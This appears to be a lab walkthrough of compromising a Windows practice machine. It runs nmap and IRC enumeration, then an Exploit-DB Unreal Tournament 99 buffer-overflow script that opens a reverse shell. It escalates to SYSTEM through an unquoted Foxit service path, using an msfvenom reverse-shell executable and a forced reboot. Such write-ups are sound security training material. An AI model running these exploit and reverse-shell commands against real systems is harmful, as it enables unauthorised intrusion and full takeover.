Enumeration
Start with Nmap scan as usual
$ nmap $ip -sVC -oN nmapInitial.txt -Pn
PORT STATE SERVICE VERSION21/tcp open ftp FileZilla ftpd| ftp-syst:|_ SYST: UNIX emulated by FileZilla80/tcp open http Apache httpd 2.4.16 (OpenSSL/1.0.1p PHP/5.6.12)|_http-server-header: Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12|_http-title: Index of /| http-methods:|_ Potentially risky methods: TRACE443/tcp open ssl/http Apache httpd 2.4.16 (OpenSSL/1.0.1p PHP/5.6.12)|_http-title: Index of /|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=localhost| Not valid before: 2009-11-10T23:48:47|_Not valid after: 2019-11-08T23:48:47|_http-server-header: Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12| http-methods:|_ Potentially risky methods: TRACE3306/tcp open mysql MySQL (unauthorized)6666/tcp open irc InspIRCd6667/tcp open irc InspIRCd6668/tcp open irc InspIRCd6669/tcp open irc InspIRCd6689/tcp open irc InspIRCd6692/tcp open irc InspIRCd6699/tcp open irc InspIRCd6779/tcp open irc InspIRCd6788/tcp open irc InspIRCd| irc-info:| server: irc.madcowz.localdomain| users: 3| servers: 1| chans: 1| lusers: 3| lservers: 0| source ident: nmap| source host: 192.168.49.240|_ error: Closing link: (nmap@192.168.49.240) [Client exited]6789/tcp open irc InspIRCd6792/tcp open irc InspIRCd6839/tcp open irc InspIRCd6881/tcp open irc InspIRCd| irc-info:| server: irc.madcowz.localdomain| users: 2| servers: 1| chans: 1| lusers: 3| lservers: 0| source ident: nmap| source host: 192.168.49.240|_ error: Closing link: (nmap@192.168.49.240) [Client exited]6901/tcp open irc InspIRCd| irc-info:| server: irc.madcowz.localdomain| users: 4| servers: 1| chans: 1| lusers: 4| lservers: 0| source ident: nmap| source host: 192.168.49.240|_ error: Closing link: (nmap@192.168.49.240) [Client exited]6969/tcp open irc InspIRCd7000/tcp open irc InspIRCd7001/tcp open tcpwrapped7007/tcp open irc InspIRCdirc
$ nc -vn $ip 6683USER ran213eqdw123 0 * ran213eqdw123NICK ran213eqdw123
ADMIN:irc.madcowz.localdomain 256 ran213eqdw123 :Administrative info for irc.madcowz.localdomain:irc.madcowz.localdomain 257 ran213eqdw123 :Name - Fluffy Cow:irc.madcowz.localdomain 258 ran213eqdw123 :Nickname - Fluffy:irc.madcowz.localdomain 259 ran213eqdw123 :E-Mail - fluffycow@localdomain
list:irc.madcowz.localdomain 321 ran213eqdw123 Channel :Users Name:irc.madcowz.localdomain 322 ran213eqdw123 #ut99 1 :[+nt] Fragging since UT99! Unreal Tournament 99 Game Server UP! IP: *THIS* Port: 7778:irc.madcowz.localdomain 323 ran213eqdw123 :End of channel list.Exploitation
Initial Access
Unreal Tournament - Remote BOF(SEH) - Exploit-db
$ perl ut99-bof.pl 192.168.240.44 7778 192.168.49.240 80
$ rlwrap nc -nvlp 80listening on [any] 80 ...connect to [192.168.49.240] from (UNKNOWN) [192.168.240.44] 49236Microsoft Windows [Version 6.0.6002]Copyright (c) 2006 Microsoft Corporation. All rights reserved.C:\UnrealTournament\System>whoamifluffy-pc\daisyPrivilege escalation
Foxit Reader 7.0.6.1126 - Unquoted Service Path Privilege Escalation - Exploit-db
C:\>cd ftpcd ftp
C:\ftp>dirdir Volume in drive C is HDD Volume Serial Number is DC74-4FCB
Directory of C:\ftp
10/07/2015 05:21 AM <DIR> .10/07/2015 05:21 AM <DIR> ..10/07/2015 12:44 PM 35,984,520 FoxitReader706.1126_enu_Setup.exe10/07/2015 03:46 AM 35,922,892 KB968930.msu10/07/2015 12:45 PM 114,238,280 xampp-win32-5.6.12-0-VC11-installer.exe 3 File(s) 186,145,692 bytes 2 Dir(s) 13,053,009,920 bytes freeget information about the service
C:\UnrealTournament\System>sc qc FoxitCloudUpdateService[SC] QueryServiceConfig SUCCESSSERVICE_NAME: FoxitCloudUpdateService TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Foxit Software\Foxit Reader\Foxit Cloud\FCUpdateService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Foxit Cloud Safe Update Service DEPENDENCIES : SERVICE_START_NAME : LocalSystemfind writable directory from its path
C:\Program Files (x86)\Foxit Software\Foxit Reader>echo test >> test.txtecho test >> test.txt
C:\Program Files (x86)\Foxit Software\Foxit Reader>type test.txttype test.txttestCreate binary Foxit.exe , put it in C:\Program Files (x86)\Foxit Software\Foxit Reader\Foxit.exe
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.240 LPORT=80 -f exe -o Foxit.exe 130 ⨯[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: x64 from the payloadNo encoder specified, outputting raw payloadPayload size: 460 bytesFinal size of exe file: 7168 bytesSaved as: Foxit.exeSince the service is set to auto start, we will restart the target machine. ( start netcat listener as well)
C:\Program Files (x86)\Foxit Software\Foxit Reader>shutdown.exe -r -f -t 1$ nc -nvlp 80listening on [any] 80 ...connect to [192.168.49.240] from (UNKNOWN) [192.168.240.44] 49155Microsoft Windows [Version 6.0.6002]Copyright (c) 2006 Microsoft Corporation. All rights reserved.C:\Windows\system32>C:\Windows\system32>whoamiwhoamint authority\system